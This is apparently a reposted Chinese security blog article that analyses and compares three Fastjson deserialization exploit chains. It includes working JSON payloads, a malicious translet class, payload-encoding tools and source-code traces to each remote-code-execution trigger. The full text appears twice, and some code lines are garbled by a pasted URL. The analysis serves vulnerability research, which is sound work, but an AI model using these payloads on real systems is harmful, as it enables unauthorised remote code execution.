作者:4ra1n
來源:https://www.anquanke.com/post/id/248892
Fastjson已被大家分析過很多次,本文主要是對三種利用鏈做分析和對比
JdbcRowSetImpl
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
payload中的a物件用來當作快取繞過,需要關注的是第二個物件
注意到其中"autoCommit":true,反序列化時,會反射設定屬性,呼叫com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
// conn為空才會呼叫到這里
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
跟入com.sun.rowset.JdbcRowSetImpl.connect(),觸發lookup,加載遠程惡意物件
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
// conn為空且dataSourceName不為空才會到這里
InitialContext var1 = new InitialContext();
// 成功觸發JNDI注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
根據lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
......
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟入decodeObject方法,看到加載了遠程Reference系結的惡意物件
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
總結:
- 實戰可以利用,JDNI注入基于較低版本的JDK,LDAP適用范圍更廣
- 必須能出網,加載遠端的惡意位元組碼,造成了局限性
TemplateImpl
String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
注意其中的Payload來自于惡意類,該類應該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
類似第一條鏈,使用兩個物件繞過,其中的Payload為惡意類的位元組碼再Base64編碼的結果,給出簡易的py腳本
fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)
該鏈需要開啟Feature.SupportNonPublicField引數再反射設定屬性,查看官方說明,如果某屬性不存在set方法,但還想設定值時,需要開啟該引數,這里的情況正好符合,而實際專案中很少出現這種情況,導致該鏈較雞肋,沒有實際的意義(其實TemplateImpl類中有set方法,比如setTransletBytecodes,但是名稱和Bytecodes不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設定屬性時會有判斷
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
......
反序列化時,fastjson中會把”_”開頭的屬性替換為空,并在outputProperties設定值時呼叫getOutputProperties
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
呼叫到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入getTransletInstance
// name不能為空所以在payload中設定a.b
if (_name == null) return null;
// 關鍵
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入defineTransletClasses,對父類進行了驗證,這樣解釋了為什么Payload惡意類要繼承自該類,如果驗證沒有問題,將在上方的newInstance方法中實體化該類,造成RCE
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
為什么_bytescode要對位元組碼進行base64編碼?反序列化的程序中會呼叫很多類,在經過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時候,會對欄位進行一次base64的解碼
......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
byte[] bytes = lexer.bytesValue();
......
跟入lexer.bytesValue()方法,看到decodeBase64
public byte[] bytesValue() {
......
// base64解碼
return IOUtils.decodeBase64(buf, np + 1, sp);
}
總結:
- TemplatesImpl類是Java反序列化界比較常用的類,更容易理解和上手
- 需要開啟
Feature.SupportNonPublicField,實戰中不適用
BasicDataSource
String payload = "{\n" +
" \"name\":\n" +
" {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
" },\n" +
" \"x\" : {\n" +
" \"name\": {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"y\": {\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"c\": {\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\":\"!!!Payload!!!\",\n" +
"\n" +
" \"$ref\": \"$.x.y.c.connection\"\n" +
"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(payload);
這個Payload適用于1.2.37版本,并且需要匯入Tomcat相關的包
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
</dependencies>
生成driverClassName的工具如下
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
BCEL的全名是Apache Commons BCEL,Apache Commons專案下的一個子專案,包含在JDK的原生庫中,我們可以通過BCEL提供的兩個類 Repository 和 Utility 來利用:Repository 用于將一個Java Class先轉換成原生位元組碼,當然這里也可以直接使用javac命令來編譯java檔案生成位元組碼;Utility 用于將原生的位元組碼轉換成BCEL格式的位元組碼,
生成的BCEL格式大概如下:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
將這種格式的字串,作為“位元組碼”傳入new ClassLoader().loadClass(code).newInstance();將會被實體化,當我們在Fastjson反序列化中構造出這種鏈,將會造成反序列化漏洞
回到Payload,開頭一部分用于繞Fastjson黑白名單,沒有什么特殊的意義,核心部分如下:
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"!!!Payload!!!",
"$ref": "$.x.y.c.connection"
}
}
}
這個版本利用的是$ref這個特性:當fastjson版本>=1.2.36時,我們可以使用$ref的方式來呼叫任意的getter,比如這個Payload呼叫的是x.y.c.connection,x是這個大物件,最終呼叫的是c物件的connection方法,也就是BasicDataSource.connection
參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if ("$ref" == key && context != null) {
// 傳入的ref是$.x.y.c.connection,匹配到else
if ("@".equals(ref)) {
...
} else if ("..".equals(ref)) {
...
} else if ("$".equals(ref)) {
...
} else {
Object refObj = parser.resolveReference(ref);
if (refObj != null) {
object = refObj;
} else {
// 將$.x.y.c.connection加入到Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 處理后設定到context
parser.setContext(context, object, fieldName);
漏洞的觸發點在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith("$")) {
refValue = https://www.cnblogs.com/javastack/p/getObject(ref);
if (refValue == null) {
try {
// 看到eval感覺有東西
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}
跟入JSONPath.eval,這里的segement陣列中的是[x,y,c,connection]
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segement segement = segments[i];
// 繼續跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}
到達com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (deep) {
List<Object> results = new ArrayList<Object>();
path.deepScan(currentObject, propertyName, results);
return results;
} else {
// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}
繼續跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
if (currentObject == null) {
return null;
}
if (currentObject instanceof Map) {
Map map = (Map) currentObject;
Object val = map.get(propertyName);
if (val == null && SIZE == propertyNameHash) {
val = map.size();
}
return val;
}
final Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最后一次回圈到達這里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {
throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
}
}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
FieldSerializer fieldDeser = getFieldSerializer(keyHash);
......
// 跟入
return fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = https://www.cnblogs.com/javastack/p/fieldInfo.get(object);
到達com.alibaba.fastjson.util.FieldInfo,達到最終觸發點:method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}
看到這里的javaObject正是BasicDataSouce

回到BasicDataSource本身
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
@Override
public Connection run() throws SQLException {
// 跟入createDataSource()
return createDataSource().getConnection();
}
}
// 繼續跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最終觸發點,其中driverClassName和driverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設定ClassName為BCEL...這種格式后,在newInstance方法執行后被實體化,第二個引數initial為true時,類加載后將會直接執行static{}塊中的代碼,
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();
總結:
- 不需要出網,不需要開啟特殊的引數,適用范圍較廣
- 目標需要引入tomcat依賴,雖說比較常見,但也是一種限制
Fastjson已被大家分析過很多次,本文主要是對三種利用鏈做分析和對比
JdbcRowSetImpl
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
payload中的a物件用來當作快取繞過,需要關注的是第二個物件
注意到其中"autoCommit":true,反序列化時,會反射設定屬性,呼叫com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
// conn為空才會呼叫到這里
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
跟入com.sun.rowset.JdbcRowSetImpl.connect(),觸發lookup,加載遠程惡意物件
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
// conn為空且dataSourceName不為空才會到這里
InitialContext var1 = new InitialContext();
// 成功觸發JNDI注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
根據lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
......
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟入decodeObject方法,看到加載了遠程Reference系結的惡意物件
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
總結:
- 實戰可以利用,JDNI注入基于較低版本的JDK,LDAP適用范圍更廣
- 必須能出網,加載遠端的惡意位元組碼,造成了局限性
TemplateImpl
String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
注意其中的Payload來自于惡意類,該類應該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
類似第一條鏈,使用兩個物件繞過,其中的Payload為惡意類的位元組碼再Base64編碼的結果,給出簡易的py腳本
fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)
該鏈需要開啟Feature.SupportNonPublicField引數再反射設定屬性,查看官方說明,如果某屬性不存在set方法,但還想設定值時,需要開啟該引數,這里的情況正好符合,而實際專案中很少出現這種情況,導致該鏈較雞肋,沒有實際的意義(其實TemplateImpl類中有set方法,比如setTransletBytecodes,但是名稱和Bytecodes不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設定屬性時會有判斷
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
......
反序列化時,fastjson中會把”_”開頭的屬性替換為空,并在outputProperties設定值時呼叫getOutputProperties
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
呼叫到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入getTransletInstance
// name不能為空所以在payload中設定a.b
if (_name == null) return null;
// 關鍵
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入defineTransletClasses,對父類進行了驗證,這樣解釋了為什么Payload惡意類要繼承自該類,如果驗證沒有問題,將在上方的newInstance方法中實體化該類,造成RCE
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
為什么_bytescode要對位元組碼進行base64編碼?反序列化的程序中會呼叫很多類,在經過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時候,會對欄位進行一次base64的解碼
......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
byte[] bytes = lexer.bytesValue();
......
跟入lexer.bytesValue()方法,看到decodeBase64
public byte[] bytesValue() {
......
// base64解碼
return IOUtils.decodeBase64(buf, np + 1, sp);
}
總結:
- TemplatesImpl類是Java反序列化界比較常用的類,更容易理解和上手
- 需要開啟
Feature.SupportNonPublicField,實戰中不適用
BasicDataSource
String payload = "{\n" +
" \"name\":\n" +
" {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
" },\n" +
" \"x\" : {\n" +
" \"name\": {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"y\": {\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"c\": {\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\":\"!!!Payload!!!\",\n" +
"\n" +
" \"$ref\": \"$.x.y.c.connection\"\n" +
"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(payload);
這個Payload適用于1.2.37版本,并且需要匯入Tomcat相關的包
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
</dependencies>
生成driverClassName的工具如下
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
BCEL的全名是Apache Commons BCEL,Apache Commons專案下的一個子專案,包含在JDK的原生庫中,我們可以通過BCEL提供的兩個類 Repository 和 Utility 來利用:Repository 用于將一個Java Class先轉換成原生位元組碼,當然這里也可以直接使用javac命令來編譯java檔案生成位元組碼;Utility 用于將原生的位元組碼轉換成BCEL格式的位元組碼,
生成的BCEL格式大概如下:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
將這種格式的字串,作為“位元組碼”傳入new ClassLoader().loadClass(code).newInstance();將會被實體化,當我們在Fastjson反序列化中構造出這種鏈,將會造成反序列化漏洞
回到Payload,開頭一部分用于繞Fastjson黑白名單,沒有什么特殊的意義,核心部分如下:
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"!!!Payload!!!",
"$ref": "$.x.y.c.connection"
}
}
}
這個版本利用的是$ref這個特性:當fastjson版本>=1.2.36時,我們可以使用$ref的方式來呼叫任意的getter,比如這個Payload呼叫的是x.y.c.connection,x是這個大物件,最終呼叫的是c物件的connection方法,也就是BasicDataSource.connection
參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if ("$ref" == key && context != null) {
// 傳入的ref是$.x.y.c.connection,匹配到else
if ("@".equals(ref)) {
...
} else if ("..".equals(ref)) {
...
} else if ("$".equals(ref)) {
...
} else {
Object refObj = parser.resolveReference(ref);
if (refObj != null) {
object = refObj;
} else {
// 將$.x.y.c.connection加入到Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 處理后設定到context
parser.setContext(context, object, fieldName);
漏洞的觸發點在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith("$")) {
refValue = https://www.cnblogs.com/javastack/p/getObject(ref);
if (refValue == null) {
try {
// 看到eval感覺有東西
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}
跟入JSONPath.eval,這里的segement陣列中的是[x,y,c,connection]
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segement segement = segments[i];
// 繼續跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}
到達com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (deep) {
List<Object> results = new ArrayList<Object>();
path.deepScan(currentObject, propertyName, results);
return results;
} else {
// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}
繼續跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
if (currentObject == null) {
return null;
}
if (currentObject instanceof Map) {
Map map = (Map) currentObject;
Object val = map.get(propertyName);
if (val == null && SIZE == propertyNameHash) {
val = map.size();
}
return val;
}
final Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最后一次回圈到達這里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {
throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
}
}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
FieldSerializer fieldDeser = getFieldSerializer(keyHash);
......
// 跟入
return fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = https://www.cnblogs.com/javastack/p/fieldInfo.get(object);
到達com.alibaba.fastjson.util.FieldInfo,達到最終觸發點:method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}
看到這里的javaObject正是BasicDataSouce

回到BasicDataSource本身
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
@Override
public Connection run() throws SQLException {
// 跟入createDataSource()
return createDataSource().getConnection();
}
}
// 繼續跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最終觸發點,其中driverClassName和driverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設定ClassName為BCEL...這種格式后,在newInstance方法執行后被實體化,第二個引數initial為true時,類加載后將會直接執行static{}塊中的代碼,
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();
總結:
- 不需要出網,不需要開啟特殊的引數,適用范圍較廣
- 目標需要引入tomcat依賴,雖說比較常見,但也是一種限制
近期熱文推薦:
1.1,000+ 道 Java面試題及答案整理(2021最新版)
2.別在再滿屏的 if/ else 了,試試策略模式,真香!!
3.臥槽!Java 中的 xx ≠ null 是什么新語法?
4.Spring Boot 2.5 重磅發布,黑暗模式太炸了!
5.《Java開發手冊(嵩山版)》最新發布,速速下載!
覺得不錯,別忘了隨手點贊+轉發哦!
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/349474.html
標籤:Java
